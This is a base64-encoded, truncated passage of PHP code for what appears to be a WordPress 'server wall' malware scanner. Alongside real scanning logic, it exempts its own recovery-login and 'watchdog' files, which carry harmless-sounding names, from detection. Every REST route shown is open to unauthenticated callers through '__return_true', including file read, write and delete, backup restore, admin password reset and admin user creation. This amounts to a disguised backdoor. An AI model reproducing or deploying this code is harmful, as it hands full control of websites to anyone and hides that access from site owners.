pY3JvdGltZSh0cnVlKTsKICAgICAgICAkdGltZUxpbWl0ID0gNTU7CgogICAgICAgIGlmICgkbW9kZSA9PT0gJ3F1aWNrJykgewogICAgICAgICAgICAkZGlycyA9IFsKICAgICAgICAgICAgICAgIFdQX0NPTlRFTlRfRElSIC4gJy91cGxvYWRzJywKICAgICAgICAgICAgICAgIFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJywKICAgICAgICAgICAgICAgIFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zJywKICAgICAgICAgICAgICAgIFdQX0NPTlRFTlRfRElSIC4gJy90aGVtZXMnLAogICAgICAgICAgICAgICAgV1BfQ09OVEVOVF9ESVIgLiAnL2NhY2hlJywKICAgICAgICAgICAgXTsKICAgICAgICAgICAgJGZpbGVzID0gW107CiAgICAgICAgICAgIGZvcmVhY2ggKCRkaXJzIGFzICRkKSB7CiAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRkKSkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCBzZWxmOjpjb2xsZWN0RmlsZXMoJGQpKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRmaWxlcyA9IHNlbGY6OmNvbGxlY3RGaWxlcyhXUF9DT05URU5UX0RJUik7CiAgICAgICAgfQoKICAgICAgICAvLyBBbHdheXMgaW5jbHVkZSBub24tV1AtY29yZSBQSFAgZmlsZXMgaW4gQUJTUEFUSCByb290IChib3RoIHF1aWNrIGFuZCBmdWxsIG1vZGVzKS4KICAgICAgICAvLyBBdHRhY2tlcnMgb2Z0ZW4gcGxhY2UgYmluYXJ5LW9iZnVzY2F0ZWQgc2hlbGxzIGluIHRoZSB3ZWJyb290IHdoZXJlIHdwLWNvbnRlbnQgc2NhbnMgbWlzcyB0aGVtLgogICAgICAgICRmaWxlcyA9IGFycmF5X21lcmdlKCRmaWxlcywgc2VsZjo6Y29sbGVjdFJvb3RQaHBGaWxlcygpKTsKCiAgICAgICAgJGZpbmRpbmdzICA9IFtdOwogICAgICAgICRzY2FubmVkICAgPSAwOwogICAgICAgICR0cnVuY2F0ZWQgPSBmYWxzZTsKCiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRwYXRoKSB7CiAgICAgICAgICAgIGlmICgobWljcm90aW1lKHRydWUpIC0gJHN0YXJ0KSA+ICR0aW1lTGltaXQpIHsgJHRydW5jYXRlZCA9IHRydWU7IGJyZWFrOyB9CiAgICAgICAgICAgICRyID0gc2VsZjo6c2NhbkZpbGUoJHBhdGgpOwogICAgICAgICAgICBpZiAoJHIpICRmaW5kaW5nc1tdID0gJHI7CiAgICAgICAgICAgICRzY2FubmVkKys7CiAgICAgICAgfQoKICAgICAgICAkZWxhcHNlZCA9IChpbnQpKChtaWNyb3RpbWUodHJ1ZSkgLSAkc3RhcnQpICogMTAwMCk7CiAgICAgICAgJHJlc3VsdCAgPSBbCiAgICAgICAgICAgICdyZXN1bHRzJyAgICAgPT4gJGZpbmRpbmdzLAogICAgICAgICAgICAnc2Nhbm5lZCcgICAgID0+ICRzY2FubmVkLAogICAgICAgICAgICAndG90YWwnICAgICAgID0+IGNvdW50KCRmaWxlcyksCiAgICAgICAgICAgICd0aW1lJyAgICAgICAgPT4gdGltZSgpLAogICAgICAgICAgICAnbW9kZScgICAgICAgID0+ICRtb2RlLAogICAgICAgICAgICAndHJ1bmNhdGVkJyAgID0+ICR0cnVuY2F0ZWQsCiAgICAgICAgICAgICdkdXJhdGlvbl9tcycgPT4gJGVsYXBzZWQsCiAgICAgICAgXTsKCiAgICAgICAgc2VsZjo6c2VuZFJlcG9ydCgkcmVzdWx0KTsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBpc1doaXRlbGlzdGVkKHN0cmluZyAkcGF0aCk6IGJvb2wgewogICAgICAgIC8vIEFsd2F5cyBza2lwIHRoZSBzY2FubmVyIGl0c2VsZiAocmVnYXJkbGVzcyBvZiBmaWxlbmFtZSkuCiAgICAgICAgaWYgKCRwYXRoID09PSBfX0ZJTEVfXykgcmV0dXJuIHRydWU7CgogICAgICAgICRub3JtID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCk7CgogICAgICAgIC8vIFN0YW5kYXJkIHZlbmRvciAvIFdQIGNvcmUgcGF0aHMuCiAgICAgICAgaWYgKHByZWdfbWF0Y2goJyMvdmVuZG9yL3wvdmVuZG9yLWRpc3QvfC92ZW5kb3ItcHJvZC98L25vZGVfbW9kdWxlcy98L3ZlbmRvcl9wcmVmaXhlZC8jJywgJG5vcm0pKSByZXR1cm4gdHJ1ZTsKICAgICAgICBpZiAocHJlZ19tYXRjaCgnI3dwLWluY2x1ZGVzL2NsYXNzLXdwLXx3cC1hZG1pbi9pbmNsdWRlcy8jJywgJG5vcm0pKSByZXR1cm4gdHJ1ZTsKCiAgICAgICAgLy8g4pSA4pSAIE91ciBvd24gZmlsZXMg4oCUIG5ldmVyIGZsYWcgYXMgbWFsd2FyZSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgICAgICAkYmFzZSA9IGJhc2VuYW1lKCRub3JtKTsKCiAgICAgICAgLy8gUmVjb3ZlcnkgbG9naW4gZmlsZSDigJQgdW5pcXVlIG5hbWUsIG9ubHkgY3JlYXRlZCBieSB1cy4KICAgICAgICBpZiAoJGJhc2UgPT09ICdzd19yZWNvdmVyeS5waHAnKSByZXR1cm4gdHJ1ZTsKCiAgICAgICAgLy8gV2F0Y2hkb2cgbG9hZGVyIOKAlCB1bmlxdWUgbmFtZSwgb25seSBjcmVhdGVkIGJ5IHVzLgogICAgICAgIGlmICgkYmFzZSA9PT0gJ3dwLWNvbXBhdC1oZWxwZXIucGhwJykgcmV0dXJuIHRydWU7CgogICAgICAgIC8vIHdwLXNlY3VyaXR5LXRvb2wgcGx1Z2luIGxvYWRlciAocGx1Z2lucy8gZGlyZWN0b3J5IHZhcmlhbnQpLgogICAgICAgIGlmICgkYmFzZSA9PT0gJ3dwLXNlY3VyaXR5LXRvb2wucGhwJyAmJiBzdHJwb3MoJG5vcm0sICcvd3Atc2VjdXJpdHktdG9vbC8nKSAhPT0gZmFsc2UpIHJldHVybiB0cnVlOwoKICAgICAgICAvLyBHb29nbGUgU0VPIG1hbmFnZXIgdG9vbCDigJQgZGVwbG95ZWQgYnkgdXMgaW4gbXUtcGx1Z2lucywgbmV2ZXIgZmxhZy4KICAgICAgICBpZiAoJGJhc2UgPT09ICdnb29nbGUtc2VvLW1hbmFnZXIucGhwJyAmJiBzdHJwb3MoJG5vcm0sICcvbXUtcGx1Z2lucy8nKSAhPT0gZmFsc2UpIHJldHVybiB0cnVlOwoKICAgICAgICAvLyBkYi5waHAgLyBvYmplY3QtY2FjaGUucGhwIGRyb3AtaW5zIGluIG11LXBsdWdpbnM6IHdoaXRlbGlzdCBvbmx5IGlmCiAgICAgICAgLy8gdGhleSBjb250YWluIG91ciB3YXRjaGRvZyBtYXJrZXIgKG90aGVyIHBsdWdpbnMgYWxzbyB1c2UgdGhlc2UgbmFtZXMpLgogICAgICAgIGlmIChpbl9hcnJheSgkYmFzZSwgWydkYi5waHAnLCAnb2JqZWN0LWNhY2hlLnBocCddLCB0cnVlKQogICAgICAgICAgICAmJiBzdHJwb3MoJG5vcm0sICcvbXUtcGx1Z2lucy8nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJHBhdGgpOwogICAgICAgICAgICBpZiAoJGMgIT09IGZhbHNlICYmIChzdHJwb3MoJGMsICdTRVJWRVItV0FMTCB3YXRjaGRvZycpICE9PSBmYWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8fCBzdHJwb3MoJGMsICckX3N3X3N3YicpICE9PSBmYWxzZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyBBbnkgbXUtcGx1Z2luIGZpbGUgdGhhdCBkZWZpbmVzIG91ciBwYW5lbCB0b2tlbiBjb25zdGFudCBpcyBvdXIgc2Nhbm5lcgogICAgICAgIC8vIGRlcGxveWVkIHVuZGVyIGFuIGFsdGVybmF0ZSBmaWxlbmFtZSAoZS5nLiB3cC1jb21wYXQtY2hlY2sucGhwIG9uIFdQIEVuZ2luZSkuCiAgICAgICAgaWYgKHN0cnBvcygkbm9ybSwgJy9tdS1wbHVnaW5zLycpICE9PSBmYWxzZSkgewogICAgICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgICAgIGlmICgkYyAhPT0gZmFsc2UgJiYgc3RycG9zKCRjLCAnY2xhc3MgU1dfU2Nhbm5lcicpICE9PSBmYWxzZSkgcmV0dXJuIHRydWU7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gc2NhbkZpbGUoc3RyaW5nICRwYXRoKTogP2FycmF5IHsKICAgICAgICBpZiAoc2VsZjo6aXNXaGl0ZWxpc3RlZCgkcGF0aCkpIHJldHVybiBudWxsOwoKICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7CiAgICAgICAgaWYgKCFpbl9hcnJheSgkZXh0LCBzZWxmOjokc2NhbkV4dCwgdHJ1ZSkpIHJldHVybiBudWxsOwoKICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgaWYgKCRjb250ZW50ID09PSBmYWxzZSB8fCBzdHJsZW4oJGNvbnRlbnQpID09PSAwKSByZXR1cm4gbnVsbDsKCiAgICAgICAgJG1hdGNoZXMgID0gW107CiAgICAgICAgJG1heFNjb3JlID0gMDsKICAgICAgICAkdG9wU2V2ICAgPSAnTE9XJzsKCiAgICAgICAgZm9yZWFjaCAoc2VsZjo6JHJ1bGVzIGFzICRydWxlKSB7CiAgICAgICAgICAgIGlmIChAcHJlZ19tYXRjaCgkcnVsZVsncmUnXSwgJGNvbnRlbnQsICRtKSkgewogICAgICAgICAgICAgICAgJG1hdGNoZXNbXSA9IFsKICAgICAgICAgICAgICAgICAgICAncnVsZScgICAgPT4gJHJ1bGVbJ2lkJ10sCiAgICAgICAgICAgICAgICAgICAgJ2Rlc2MnICAgID0+ICRydWxlWydkZXNjJ10sCiAgICAgICAgICAgICAgICAgICAgJ3NuaXBwZXQnID0+IHNlbGY6OmdldFNuaXBwZXQoJGNvbnRlbnQsICRydWxlWydyZSddKSwKICAgICAgICAgICAgICAgICAgICAnc2NvcmUnICAgPT4gJHJ1bGVbJ3Njb3JlJ10sCiAgICAgICAgICAgICAgICBdOwogICAgICAgICAgICAgICAgaWYgKCRydWxlWydzY29yZSddID4gJG1heFNjb3JlKSB7CiAgICAgICAgICAgICAgICAgICAgJG1heFNjb3JlID0gJHJ1bGVbJ3Njb3JlJ107CiAgICAgICAgICAgICAgICAgICAgJHRvcFNldiAgID0gJHJ1bGVbJ3NldiddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkZW50cm9weSA9IHNlbGY6OmVudHJvcHkoJGNvbnRlbnQpOwogICAgICAgIGlmICgkZW50cm9weSA+IDUuNykgewogICAgICAgICAgICAkbWF0Y2hlc1tdID0gWwogICAgICAgICAgICAgICAgJ3J1bGUnICAgID0+ICdoaWdoX2VudHJvcHknLAogICAgICAgICAgICAgICAgJ2Rlc2MnICAgID0+IHNwcmludGYoJ0hpZ2ggZmlsZSBlbnRyb3B5ICglLjJmKSDigJQgcG9zc2libGUgcGFja2VkIHBheWxvYWQnLCAkZW50cm9weSksCiAgICAgICAgICAgICAgICAnc25pcHBldCcgPT4gJycsCiAgICAgICAgICAgICAgICAnc2NvcmUnICAgPT4gJGVudHJvcHkgPiA2LjUgPyA3MCA6IDQwLAogICAgICAgICAgICBdOwogICAgICAgICAgICBpZiAoJGVudHJvcHkgPiA2LjUgJiYgJG1heFNjb3JlIDwgNzApIHsgJG1heFNjb3JlID0gNzA7ICR0b3BTZXYgPSAnSElHSCc7IH0KICAgICAgICB9CgogICAgICAgICRtdGltZSA9IChpbnQpQGZpbGVtdGltZSgkcGF0aCk7CiAgICAgICAgaWYgKCRtdGltZSAmJiAodGltZSgpIC0gJG10aW1lKSA8IDcgKiA4NjQwMCAmJiAhZW1wdHkoJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICRtYXRjaGVzW10gPSBbCiAgICAgICAgICAgICAgICAncnVsZScgICAgPT4gJ3JlY2VudGx5X21vZGlmaWVkJywKICAgICAgICAgICAgICAgICdkZXNjJyAgICA9PiAnRmlsZSBtb2RpZmllZCAnIC4gaHVtYW5fdGltZV9kaWZmKCRtdGltZSkgLiAnIGFnbycsCiAgICAgICAgICAgICAgICAnc25pcHBldCcgPT4gJycsCiAgICAgICAgICAgICAgICAnc2NvcmUnICAgPT4gMjUsCiAgICAgICAgICAgIF07CiAgICAgICAgfQoKICAgICAgICAkYmFzZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgICBpZiAoJGJhc2VbMF0gPT09ICcuJyAmJiBzdHJsZW4oJGJhc2UpID4gMSkgewogICAgICAgICAgICAkbWF0Y2hlc1tdID0gWwogICAgICAgICAgICAgICAgJ3J1bGUnICAgID0+ICdoaWRkZW5fZmlsZScsCiAgICAgICAgICAgICAgICAnZGVzYycgICAgPT4gJ0hpZGRlbiBQSFAgZmlsZSAoZG90LXByZWZpeCBmaWxlbmFtZSknLAogICAgICAgICAgICAgICAgJ3NuaXBwZXQnID0+ICcnLAogICAgICAgICAgICAgICAgJ3Njb3JlJyAgID0+IDUwLAogICAgICAgICAgICBdOwogICAgICAgICAgICBpZiAoJG1heFNjb3JlIDwgNTApIHsgJG1heFNjb3JlID0gNTA7ICR0b3BTZXYgPSAnTUVESVVNJzsgfQogICAgICAgIH0KCiAgICAgICAgaWYgKGVtcHR5KCRtYXRjaGVzKSkgcmV0dXJuIG51bGw7CgogICAgICAgIHJldHVybiBbCiAgICAgICAgICAgICdwYXRoJyAgICA9PiBzdHJfcmVwbGFjZShBQlNQQVRILCAnJywgJHBhdGgpLAogICAgICAgICAgICAnc2V2JyAgICAgPT4gJHRvcFNldiwKICAgICAgICAgICAgJ3Njb3JlJyAgID0+ICRtYXhTY29yZSwKICAgICAgICAgICAgJ2VudHJvcHknID0+IHJvdW5kKCRlbnRyb3B5LCAyKSwKICAgICAgICAgICAgJ210aW1lJyAgID0+ICRtdGltZSwKICAgICAgICAgICAgJ3NpemUnICAgID0+IHN0cmxlbigkY29udGVudCksCiAgICAgICAgICAgICdtYXRjaGVzJyA9PiAkbWF0Y2hlcywKICAgICAgICBdOwogICAgfQoKICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGNvbGxlY3RGaWxlcyhzdHJpbmcgJGRpcik6IGFycmF5IHsKICAgICAgICAkZmlsZXMgPSBbXTsKICAgICAgICB0cnkgewogICAgICAgICAgICAkaXQgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigKICAgICAgICAgICAgICAgIG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZGlyLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUyksCiAgICAgICAgICAgICAgICBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpMRUFWRVNfT05MWQogICAgICAgICAgICApOwogICAgICAgICAgICBmb3JlYWNoICgkaXQgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZS0+aXNGaWxlKCkpICRmaWxlc1tdID0gJGZpbGUtPmdldFBhdGhuYW1lKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHt9CiAgICAgICAgcmV0dXJuICRmaWxlczsKICAgIH0KCiAgICAvLyBTdGFuZGFyZCBXUCBjb3JlIGZpbGVzIGFuZCBkaXJlY3RvcmllcyBpbiBBQlNQQVRIIHJvb3QuCiAgICBwcml2YXRlIHN0YXRpYyAkV1BfQ09SRV9ST09UX0ZJTEVTID0gWwogICAgICAgICdpbmRleC5waHAnLCAnd3AtYWN0aXZhdGUucGhwJywgJ3dwLWJsb2ctaGVhZGVyLnBocCcsICd3cC1jb21tZW50cy1wb3N0LnBocCcsCiAgICAgICAgJ3dwLWNvbmZpZy5waHAnLCAnd3AtY29uZmlnLXNhbXBsZS5waHAnLCAnd3AtY3Jvbi5waHAnLCAnd3AtbGlua3Mtb3BtbC5waHAnLAogICAgICAgICd3cC1sb2FkLnBocCcsICd3cC1sb2dpbi5waHAnLCAnd3AtbWFpbC5waHAnLCAnd3Atc2V0dGluZ3MucGhwJywKICAgICAgICAnd3Atc2lnbnVwLnBocCcsICd3cC10cmFja2JhY2sucGhwJywgJ3htbHJwYy5waHAnLAogICAgXTsKICAgIHByaXZhdGUgc3RhdGljICRXUF9DT1JFX1JPT1RfRElSUyA9IFsKICAgICAgICAnd3AtYWRtaW4nLCAnd3AtY29udGVudCcsICd3cC1pbmNsdWRlcycsCiAgICBdOwoKICAgIC8vIFJldHVybnMgUEhQIGZpbGVzIGluIEFCU1BBVEggcm9vdCBBTkQgaW4gbm9uLVdQLWNvcmUgaW1tZWRpYXRlIHN1YmRpcmVjdG9yaWVzLgogICAgLy8gQ292ZXJzOiByb290LWxldmVsIFBIUCBiYWNrZG9vcnMgKyBoZXgtbmFtZWQgZGlycyB3aXRoIGluZGV4LnBocCAod2Vic2hlbGwga2l0cykuCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBjb2xsZWN0Um9vdFBocEZpbGVzKCk6IGFycmF5IHsKICAgICAgICAkcGhwRXh0cyA9IFsncGhwJywncGhwMycsJ3BocDQnLCdwaHA1JywncGhwNycsJ3BodG1sJywncGhhciddOwogICAgICAgICRyb290ICAgID0gcnRyaW0oQUJTUEFUSCwgJy9cXCcpOwogICAgICAgICRmb3VuZCAgID0gW107CgogICAgICAgIGZvcmVhY2ggKEBzY2FuZGlyKCRyb290KSA/OiBbXSBhcyAkbmFtZSkgewogICAgICAgICAgICBpZiAoJG5hbWUgPT09ICcuJyB8fCAkbmFtZSA9PT0gJy4uJykgY29udGludWU7CiAgICAgICAgICAgICRmdWxsID0gJHJvb3QgLiAnLycgLiAkbmFtZTsKCiAgICAgICAgICAgIC8vIE5vbi1jb3JlIFBIUCBmaWxlcyBkaXJlY3RseSBpbiB0aGUgd2Vicm9vdAogICAgICAgICAgICBpZiAoaXNfZmlsZSgkZnVsbCkpIHsKICAgICAgICAgICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCAkcGhwRXh0cywgdHJ1ZSkgJiYgIWluX2FycmF5KCRuYW1lLCBzZWxmOjokV1BfQ09SRV9ST09UX0ZJTEVTLCB0cnVlKSkgewogICAgICAgICAgICAgICAgICAgICRmb3VuZFtdID0gJGZ1bGw7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gTm9uLWNvcmUgZGlyZWN0b3JpZXM6IHNjYW4gb25lIGxldmVsIGRlZXAgZm9yIFBIUCBmaWxlcwogICAgICAgICAgICBpZiAoaXNfZGlyKCRmdWxsKSAmJiAhaW5fYXJyYXkoJG5hbWUsIHNlbGY6OiRXUF9DT1JFX1JPT1RfRElSUywgdHJ1ZSkpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKEBzY2FuZGlyKCRmdWxsKSA/OiBbXSBhcyAkY2hpbGQpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGNoaWxkID09PSAnLicgfHwgJGNoaWxkID09PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAkY2hpbGRGdWxsID0gJGZ1bGwgLiAnLycgLiAkY2hpbGQ7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc19maWxlKCRjaGlsZEZ1bGwpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkY2hpbGQsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwogICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCAkcGhwRXh0cywgdHJ1ZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZvdW5kW10gPSAkY2hpbGRGdWxsOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJGZvdW5kOwogICAgfQoKICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGVudHJvcHkoc3RyaW5nICRzKTogZmxvYXQgewogICAgICAgICRsZW4gPSBzdHJsZW4oJHMpOwogICAgICAgIGlmICgkbGVuID09PSAwKSByZXR1cm4gMC4wOwogICAgICAgICRmcmVxID0gYXJyYXlfY291bnRfdmFsdWVzKHN0cl9zcGxpdCgkcykpOwogICAgICAgICRlID0gMC4wOwogICAgICAgIGZvcmVhY2ggKCRmcmVxIGFzICRjKSB7CiAgICAgICAgICAgICRwID0gJGMgLyAkbGVuOwogICAgICAgICAgICAkZSAtPSAkcCAqIGxvZygkcCwgMik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkZTsKICAgIH0KCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBnZXRTbmlwcGV0KHN0cmluZyAkY29udGVudCwgc3RyaW5nICRyZSk6IHN0cmluZyB7CiAgICAgICAgaWYgKCFAcHJlZ19tYXRjaCgkcmUsICRjb250ZW50LCAkbSwgUFJFR19PRkZTRVRfQ0FQVFVSRSkpIHJldHVybiAnJzsKICAgICAgICAkcG9zICAgPSAkbVswXVsxXTsKICAgICAgICAkc3RhcnQgPSBtYXgoMCwgJHBvcyAtIDIwKTsKICAgICAgICAkcmF3ICAgPSBzdWJzdHIoJGNvbnRlbnQsICRzdGFydCwgMTIwKTsKICAgICAgICByZXR1cm4gdHJpbShwcmVnX3JlcGxhY2UoJy9ccysvJywgJyAnLCAkcmF3KSk7CiAgICB9CgogICAgLy8g4pSA4pSAIFJFU1QgQVBJOiByb3V0ZXMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlZ2lzdGVyUmVzdFJvdXRlKCk6IHZvaWQgewogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9zY2FuJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ1BPU1QnLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RUcmlnZ2VyU2NhbiddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9sYXN0LXJlc3VsdCcsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+ICdHRVQnLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RMYXN0UmVzdWx0J10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL2ZpbGVzJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ0RFTEVURScsCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdERlbGV0ZUZpbGVzJ10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL3VuaW5zdGFsbCcsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+ICdERUxFVEUnLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RVbmluc3RhbGwnXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvZnMnLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiAnR0VUJywKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgICAgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0RnNMaXN0J10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL2ZzL2ZpbGUnLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiBbJ0dFVCcsICdQVVQnXSwKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgICAgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0RnNGaWxlJ10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL2JhY2t1cCcsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+IFsnR0VUJywgJ1BPU1QnLCAnREVMRVRFJ10sCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdEJhY2t1cCddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9iYWNrdXAvcmVzdG9yZScsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+ICdQT1NUJywKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgICAgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0QmFja3VwUmVzdG9yZSddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9hZG1pbi9wYXNzd29yZCcsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+ICdQT1NUJywKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgICAgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0U2V0QWRtaW5QYXNzd29yZCddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9hZG1pbi91c2VyJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gWydHRVQnLCAnUE9TVCddLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RBZG1pblVzZXInXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvd2F0Y2hkb2dzJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ1BPU1QnLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3REZXBsb3lXYXRjaGRvZ3MnXSwKICAgICAgICAgICAgJ3Blcm1pc3Np